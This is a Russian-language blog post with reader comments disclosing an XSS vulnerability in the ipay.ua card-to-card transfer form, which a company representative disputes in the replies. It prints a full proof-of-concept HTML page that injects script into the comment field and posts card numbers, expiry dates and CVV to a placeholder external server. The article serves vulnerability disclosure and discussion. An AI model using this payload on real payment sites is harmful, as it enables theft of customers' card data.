Меня интересовало, на сколько PCI DSS сертификация платежными системами и проводимое ими ежеквартальное ASV-сканирование (в том числе на наличие XSS уязвимостей) гарантирует защиту данных клиентов.
Моё внимание привлекла форма p2p переводов по адресу www.ipay.ua/ru/p2p. Проверяя форму на фильтрацию вводимых данных, я добрался до поля для комментария (оно по умолчанию скрыто, что бы оно появилось, нужно поставить курсор в поле «Телефон получателя»). Как обычно, для первичной проверки, начал вводить текст:
<script>alert('XSS!')
Мне стала интересна причина такого поведения страницы и я полез в её содержимое.
Проанализировав javascript код я понял, что виной был следующий кусок:
$("textarea[name='comment']").keyup(function() {
comment = $(this).val();
$("textarea[name='comment']").html(comment);
validComment();
});
А точнее, виной стало незнание разработчика, что jQuery конструктор или метод, который принимает на вход HTML строку, может потенциально выполнить код.
Ссылка на описание метода html()
Далее мне захотелось реализовать способ эксплуатации данной уязвимости, что бы стала возможной кража вводимых карточных данных, а точнее, отправка этих данных на сторонний сервер.
Анализируя работу страницы для p2p переводов, я обнаружил, что можно при помощи POST запроса сформировать частично заполненную форму, подставив в поле комментария javascript код, который так же не валидировался на сервере (двойной фэйл разработчиков)
Я создал html страничку со следующим содержимым:
Отправив данные на сервер, я получил форму с заполненным полем для комментария.
Теперь для того, что бы внедренный javascript код выполнился, достаточно начать редактировать содержимое поля(спасибо функции .keyup() библиотеки jQuery ).
Осталось дело за малым: сформировать должным образом передаваемый javascript код, что бы он отправлял данные формы на сторонний сайт.
Содержимое моей html странички приобрело следующий вид:
<html>
<body>
<form action="https://www.ipay.ua/ru/p2p" method="post">
<input type="hidden" name="gate" value="P2pUpc"/>
<input type="hidden" name="policy" value="1"/>
<input type="hidden" name="cvv" value="123"/>
<input type="hidden" name="amount" value="100"/>
<input type="hidden" name="senderPan1" value="4444"/>
<input type="hidden" name="senderPan2" value="5555"/>
<input type="hidden" name="senderPan3" value="6666"/>
<input type="hidden" name="senderPan4" value="1111"/>
<input type="hidden" name="expMon" value="01"/>
<input type="hidden" name="expYear" value="18"/>
<input type="hidden" name="transfer-send" value="Выполнить перевод"/>
<input type="hidden" name="comment" value="
<script>
$.post('https://someverydangeroussite/ajax/saveData.php',{
pan1:$('input[name=senderPan1]').val(),
pan2:$('input[name=senderPan2]').val(),
pan3:$('input[name=senderPan3]').val(),
pan4:$('input[name=senderPan4]').val(),
expMon:$('input[name=expMon]').val(),
expYear:$('input[name=expYear]').val(),
cvv:$('input[name=cvv]').val()});
</script>"/>
<input type="submit"/>
</form>
</body>
</html>
Карточные данные в форме я заполнил заранее для простоты демонстрации.
Теперь отправив эти данные на сервер ipay.ua, получим форму для p2p перевода, заполнив которую, наша жертва при попытке редактирования комментария (например при его удалении), отправит свои карточные данные на сторонний сервер:
Таким образом злоумышленнику достаточно разместить на своём сайте ссылку под видом рекламы p2p переводов и перенаправить POST запросом пользователя на страницу https://www.ipay.ua/ru/p2p с внедренным зловредным кодом, чтобы иметь возможность украсть данные карты жертвы.
Я, естественно, сообщил о данной уязвимости в саппорт и мне ответили, что если разработчики посчитают нужным, свяжутся со мной.
Но по истечении 3 недель со мной ни кто так и не связался, а уязвимость так и остаётся открытой.
Поэтому цель данной статьи не только показать один из вариантов эксплуатации XSS уязвимости, но и как можно быстрее донести информацию о её наличии до ответственных лиц в компании Ipay.ua
Комментарии (61)
waplab
03.06.2015 15:15+3Автор топика отправлят те же данные что прислал сам. Логично было бы обренуть отправку в конструкцию типа:
$( 'input1, input2,...' ).change(function() {
akirsanov
03.06.2015 19:22+5Увы, проблема финансовых компаний и банков в том, что они истинно веруют в аудиторскую часть 27001/PSI-DSS/Cobit, забивая на практическую часть этих же стандартов и рекомендаций, особенно в плане периодических пентестов.
В итоге в каждой «солидной» финансовой организации обязательно сидит свой безопасник, а то и два, жмякает раз в неделю на акунетикс, сканируя тот список узлов, который сам впишет, и создает красивый отчет для имитации бурной деятельности.
То, что эта деятельность далека от практической безопасности, понимают единицы в такой «солидной» финансовой организации, но их либо не слушают, либо они не хотят нести ответственность за новые расходы, которые нужно ещё обосновать и выбить.
В итоге имеем ту самую бумажную «безопасность», обвешанную сертификатами и бумажками, а с практикой фейл.Hamakev
04.06.2015 14:00Так периодические пентесты (не менее раз в год) по PCI DSS надо делать в качестве обязаловки только с 30.06.2015, читайте — с 1-го июля. А до этого — рекомендация, и для прохождения на соответствие предоставление результатов пентеста не нужно, хватает ежеквартального ASV. Раз не обязательно — никто и не почешется, не такое уж и дешевое удовольствие (и самое главное, в некоторых случаях — не такое уж безболезненное удовольствие :) ) заказывать пентест у сторонней организации при отсутствии в штате «своих» пентестеров.
mao1985
03.06.2015 21:05-20Добрый вечер.
Уважаемый Автор (dinikin) и сообщество, в первую очередь от лица компании iPay.ua хотим поблагодарить Вас за проявленный интерес к сервису «денежных переводов с карты на карту» и его непосредственное тестирование на уязвимость.
Task по Вашему обращению об уязвимости в саппорт был зарегистрирован, выставлен на IT разработчиков и поставлен в очередь на исполнение с момента обращения в сервис iPay.ua. Мы очень благодарны Вам за данную статью, которая ускорила выполнения задачи.
Мы еще раз оценили потенциальные угрозы и методов их эксплуатации не выявили, но Ваши рекомендации частично выполнили. Спасибо сообществу за интерес к нашему сайту и безопасности наших клиентов.
С момента Вашего обращения и публикации статьи — фактов компрометации карт на сайте iPay.ua не было допущено.
Будем рады сотрудничеству с Вами и Всеми специалистами в отрасли IT и информационной безопасности в дальнейшем.
Сервис интернет-платежей iPay.ua всегда ставит перед собой задачу обеспечения безопасности интернет-платежей и всегда внимательно следит за этим вопросом, проводит постоянный мониторинг сайта и то что о нас пишут. Реагируем всегда, но можем не всегда публично.
Наш официальный комментарий к статье размещён www.ipay.ua/ru/news/podtverjdenie-bezopasnosti-servisa-ipay-ua
С уважением сотрудники iPay.ua
SilverFire
03.06.2015 21:31+14Уважаемый mao1985! По моему мнению, ваш ответ наполнен вежливым текстом, но лишен здравого смысла.
dinikin очень детально и наглядно продемонстрировал использование уязвимости, но мне не понятно что вы имели ввиду подМы еще раз оценили потенциальные угрозы и методов их эксплуатации не выявили
Beltoev
03.06.2015 21:56Типичный ответ от такого сервиса. Я лично удивился бы, если что-то другое увидел.
Сейчас же компаниям главное показать типичным пользователям, что всё в порядке, можно и дальше их сервисом пользоваться, нежели признать наличие уязвимости и то, что их пользователи всё это время были под угрозойmao1985
03.06.2015 22:48-12Зелимхан,
мы умеем не только признавать ошибки, но и прислушиваться к рекомендациям и выполнять их.
С момента обращения Автора и публикации статьи — фактов компрометации карт на сайте iPay.ua не было.
SilverFire
03.06.2015 22:51+4Тогда мне непонятно, почему уязвимости, которые очевидно угрожают безопасности платежных карт болтаются 3 недели в очереди?
tangro
03.06.2015 23:14+12Попросите там у себя в компании Вас уволить и прислать сюда живого человека, способного разговаривать не по методичке.
vics001
04.06.2015 00:22+4Вежливость не всегда плохо, ну не выявили фактов компрометации. Все равно видно, что техподдержка явно не может исправить ошибку, а отвечать ей что-то надо, но, конечно, иногда лучше ничего не отвечать…
mao1985
03.06.2015 22:36-12SilverFire, я имел ввиду что, специалистами службы информационной безопасности компании iPay.ua была проведена оценка потенциальной угрозы по факту обращения Автора первый раз и сегодня по факту публикации статьи и методов их эксплуатации не выявили. Но рекомендации Автора описанные в статье частично сегодня в оперативном порядке были выполнены.
SilverFire
03.06.2015 22:48+6проведена оценка потенциальной угрозы
Потенциальная угроза очевидна — слив номера карты, срока действия, cvv кода.
Вы говорите, что:
методов их эксплуатации не выявили
Как по мне, метод — это последовательность шагов, которые нужно выполнить, чтобы добиться результата. Результат — угон данных карточки. Шаги со скринами в статье. Вы хотите сказать, что поле комментарий не было подвержено уязвимости XSS?mao1985
03.06.2015 23:12-15SilverFire, XSS не является уязвимостью, об этом уже было проговорено на хабре — habrahabr.ru/post/149152
В данной же статье описана возможность сбора карт при подмене ресурса фишинговым сайтом. А в таком случае это уже уголовная статья, и мы постоянно проводим мониторинг откуда идёт трафик и мы не раздаём ссылки на данный сервис на право и на лево. Поэтому после оценки угрозы, задача была поставлена в очередь на выполнение.
dinikin Автор
03.06.2015 23:23+16Вы вероятно невнимательно читали статью. Подмены ресурса не происходит, зловредный код выполняется на вашем сайте.
mao1985
04.06.2015 00:05-15dinikin, мы очень внимательно читали Вашу статью, раза по 2 минимум, поставил бы смайл — да запрещено Хабром. Все сотрудники компании iPay.ua перечитали, а некоторые перечитывали её по 3-4 раза в профилактических целях.
Чтобы запустить зловредный код встроенный нам в сервис — клиент/пользователь должен был попасть с страницы злоумышленника (сторонний сайт) это тоже уголовка и мы мониторим заходы на сайт постоянно (трафик, подозрительный трафик), и блочим ресурсы, страницы… Или Ваш код запускался не при переходе на страницу p2p с сторонней страницы (специального фишингового банера)?
Ваши некоторые рекомендации сегодня были выполнены, за них отдельное огромная благодарность. И насколько меня заверили наши программисты и безопасники — сейчас всё ещё более безопасно, чем было. Мы будем рады сотрудничеству с Вами и Всеми специалистами в отрасли IT и информационной безопасности в дальнейшем.
ximaera
04.06.2015 04:02+5Простите, а вы когда-нибудь в жизни имели дело с расследованиями кибератак и розыском взломщиков-злоумышленников? Вы представляете себе, какова вероятность найти преступника в данном случае, будь то «уголовка» или что угодно?
SilverFire
04.06.2015 08:05+1Присоединяюсь к вопросу. Вы будете знать HTTP referer, где была размещена ссылка (какой-то форум) и IP жертвы.
Кого вы сможете привлечь к ответственности? Пользователя форума, который опубликовал ссылку, сидя за китайской прокси?
ИМХО, жертве реальнее привлечь вас к ответственности, так как данные были слиты в следствие выполнения вредоносного кода на вашем сайте.
Hamakev
04.06.2015 14:11+1Извините, если я нахожусь вне Украины — то как вы по отношению ко мне примените эту уголовку?
И почему, если я попадаю со стороннего сайта на вашу платежную систему (например, с интернет-магазина, где выбрал в качестве способа оплаты вашу платежную систему, после чего меня на нее перекидывает, а в поле «комментарий» автоматом подставляется какой-то код, позволяющий мне, как владельцу магазина, идентифицировать ваш платеж и отправить вам товар) — это уголовка?
Да я еще на сайте крупно пропишу, что-то вроде «Уважаемый покупатель! Для однозначной идентификации вашего платежа не стирайте код вашей покупки в поле комментария платежной системы! Также, в этом поле вы должны указать (<что-то важное, чтобы пользователь точно вписал>)». Готово — большая часть пользователей выполнит инструкцию. А вот то, что выполнится зловредный код на вашем сайте — это уже ваши проблемы… И это, безусловно, уязвимость.
Ваши безопасники, ради интереса, пробовали CVSS по этой проблеме подсчитать? Базовую оценку.
liubarets
09.06.2015 17:27А с помощью чего вы отслеживаете источники входа?
Судя по происходящему, есть мало-мальски настроенный Google Analytics, в котором, вероятно, вы и мониторите входы.
Что будет если я банально пропишу utm-метки в источнике трафика и канале?
Заменив fake_google на google в статистике будет невозможно отличить любой реферральный переход от органического с google.
SilverFire
03.06.2015 23:45+3mao1985, действительно, тут можно маневрировать с термином «уязвимость». Нужно еще чуток заморочиться, чтобы загнать жертву на страницу оплаты, где она доведет транзакцию до конца, но как proof-of-concept — очень даже хорошо.
при подмене ресурса фишинговым сайтом
Ведь речь идет не о подмене iPay фишинговым сайтом. Достаточно отправить к вам пользователя с определенными данными.
BupycNet
04.06.2015 03:22+2Пфф. просто провередите эксперемент, дайте ему ссылку по которой кидает дальше на сайт оплаты. Пусть он введет данные своей карточки и потом узнаем получилось ли увести данные или нет. Если он так уверен, что все безопасно.
kindacute
04.06.2015 00:07+6Жесть, а я же платил через ваш сервис. А ваше отношение к безопасности меня отпугнуло. Если вам описали такую дыру и вы за три недели даже не удосужились ее закрыть, что будет с теми дырами в которые вам не ткнут носом и не напишут на сайте?
Sayonji
04.06.2015 01:12Кто-нибудь понимает, в чём смысл вот этих слов: «С момента Вашего обращения и публикации статьи — фактов компрометации карт на сайте iPay.ua не было допущено»? Имеется в виду момент длиной в три недели?
nomadmoon
04.06.2015 03:53+8А зачем вообще в этом поле комментария вешать обработчик на каждое нажатие кнопки? О_о
Security_Lab
04.06.2015 09:06+3В нашей реальности можно радоваться, что не «догнали и еще раз не вознаградили»… =( Не так давно была статья, что за аналогичное сообщение в банк автора выставили, как злоумышленника, вместо спасибо. Так что не удивлюсь.
Security_Lab
04.06.2015 09:06+2В нашей реальности можно радоваться, что не «догнали и еще раз не вознаградили»… =( Не так давно была статья, что за аналогичное сообщение в банк автора выставили, как злоумышленника, вместо спасибо. Так что не удивлюсь.
WhiteAngel
04.06.2015 13:01+3В данный момент сайт не работает и висит сообщение «Уважаемый Клиент, сайт iPay.ua временно недоступен. Приносим извинения за временные неудобства, в ближайшее время сайт возобновит свою работу.»
Так что может все же решили исправить проблемы найденные автором…
fetis26
09.06.2015 15:17А как вы обойдете sameOrigin полиси для отправки данных на сторону? Через CORS?
dinikin Автор
09.06.2015 15:21Same-origin policy для XMLHttpRequest ограничивает только чтение ответа от стороннего домена, отправку данных она не ограничивает.
kstep
09.06.2015 16:05То есть как не ограничивает? Если из браузера идёт XHR на домен, то сначала сам браузер делает запрос OPTIONS и смотрит на CORS-заголовки, и если сервер не разрешает, то XHR зафейлится сразу, никакого запросы отправлено не будет.
dinikin Автор
09.06.2015 16:15да, верно, тогда либо выставлять на домене CORS-заголовки, либо слать данные GET запросом
Extremum
Жесть. Позвонил им и задал вопрос в поддержке — будут ли они принимать меры или мне искать другой сервис. Сказали что у них все защищено, а любые статьи — происки конкурентов. То есть из серии -«Я закрыл глаза и меня теперь не видно».
Пошел искать новый сервис.
Nidaylokn
К сожалению, уход нескольких человек с сервиса они даже не заметят, остальным же пофиг и эта компания (как и многие другие) будет дальше забивать на уязвимости в стремлении зачерпнуть побольше бабла.
mao1985
Никита,
мы ценим каждого клиента.
Сервис интернет-платежей iPay.ua всегда ставит перед собой задачу обеспечения безопасности интернет-платежей и всегда внимательно следит за этим вопросом, проводит постоянный мониторинг сайта и то что о нас пишут. Реагируем всегда, но можем не всегда публично. Мы очень благодарны Автору за данную статью, которая ускорила выполнения данной задачи.
Наши специалистами службы информационной безопасности компании еще раз оценили потенциальные угрозы и методов их эксплуатации не выявили, но рекомендации Автора описанные в статье частично выполнил. С момента обращения автора статьи и публикации статьи — фактов компрометации карт на сайте iPay.ua не было допущено.
С уважением iPay.ua
sebres
По теме же, проглядел мельком страничку — охватил тихий ужас: и это платежный сервис? Я просто промолчу,
что у них даже заголовки типа X-Frame-Options, X-XSS-Protection и прочее не проставлены, про проверку referer, про «старый» софт с убунтой на сервере, про ...Блин, проговорился таки.
Жую попкорн и жду развития событий, например
угроз уважаемому dinikin, все дела… и наплыва черных ресерчеров.vsb
Плохо, что не предусмотрено. Call-center-girl должна внимательно выслушать и записать всё, что ей скажут по поводу уязвимости и передать техдиру. То же касается любых саппортов.
sebres
Да-да-да, а еще предложить вам на свидание пойти, вы же такой крутой кулхацкер…
Идеальные (call)центры вряд ли бывают, однако делать оценку «они нифига не предпринимают» (хотя возможно это на самом деле так) на основании ответа «глупой» девочки — как минимум не есть правильно.
Вот то, что они сообщение автора, судя по всему, всерьез не восприняли — это показатель. Как у них сайт сделан — тоже показатель. А девочка за телефоном, она на то и посажена, чтобы всех звонящих «успокоить».
Это во первых.
Во вторых, с чего вы взяли, что она не «выслушала», не «записала» и «не передала». Только потому, что она про это вслух не сказала?
greebn9k
К сожалению, квалифицированный саппорт попадается все реже. Причем, это касается не только нашего, но и западного рынка. Шаг в сторону и все — ноль на массу и никакой удобоваримой информации по проблеме.
mao1985
Добрый вечер.
Алексей,
спасибо за Ваш звонок в поддержку, он был очень важен для нас и позволил очень оперативно закрыть таск по обращению автора статьм и статье автора в течение сегодняшнего дня. Мы еще раз оценили потенциальные угрозы и методов их эксплуатации не выявили, но рекомендации автора частично выполнили. Спасибо сообществу и лично Вам за интерес к нашему сайту и безопасности наших клиентов. С момента обращения автора статьи и публикации статьи — фактов компрометации карт на сайте iPay.ua не было допущено. С сотрудниками Контакт-Центра провели дополнительную работу. Сервис интернет-платежей iPay.ua всегда ставит перед собой задачу обеспечения безопасности интернет-платежей и всегда внимательно следит за этим вопросом, проводит постоянный мониторинг сайта и то что о нас пишут. Реагируем всегда, но можем не всегда публично. Будем рады сотрудничеству с Вами и Всеми специалистами в отрасли IT и информационной безопасности в дальнейшем.
С уважением iPay.ua
achempion
позволю себе привести пару цитат
>… в саппорт и мне ответили, что если разработчики посчитают нужным, свяжутся со мной. Но по истечении 3 недель (!!!) со мной ни кто так и не связался, а уязвимость так и остаётся открытой.
> Сервис интернет-платежей iPay.ua всегда ставит перед собой задачу обеспечения безопасности интернет-платежей и всегда внимательно следит за этим вопросом, проводит постоянный мониторинг сайта и то что о нас пишут.
-----!
А так да, конечно, спасибо за звонок, ОН ОЧЕНЬ ВАЖЕН ДЛЯ НАС, бла-бла-бла
mao1985
Уважаемый achempion,
Task по обращению Автора статьи (3 недельной давности) об уязвимости в саппорт был зарегистрирован, выставлен на IT разработчиков и поставлен в очередь на исполнение с момента обращения Автора статьи в сервис iPay.ua. Мы очень благодарны Автору за данную статью, которая ускорила выполнения данной задачи.
Наши специалистами службы информационной безопасности компании еще раз оценили потенциальные угрозы и методов их эксплуатации не выявили, но рекомендации Автора описанные в статье частично выполнил.
С уважением iPay.ua
Beltoev
Так, к слову: завязывали бы вы на Хабре шаблонами отвечать. Это вам не ваш support, здесь так не отвяжетесь от пользователя
mao1985
Зелимхан,
мы не стремимся отвязаться от сообщества и не для этого отвечаем на вопросы, даём комментарии и устраняем описаные Автором в статье рекомендации.
EngineerSpock
А зачем слово «автор» вы пишите с большой буквы? Вы бы ещё «АВТОР» писали.
forgotten
То есть вас ничего не смущает в том, что критическая уязвимость — а возможность своровать данные карт, очевидно, является наиболее критической из возможных — закрывается три недели?
Ещё я бы с огромным интересом почитал, каким таким образом вы выяснили, что компроментаций карт не было. У вас все POST-запросы за три недели логируются?
greebn9k
Аналогично. Хотя, наверное, такой ответ и стоило ожидать…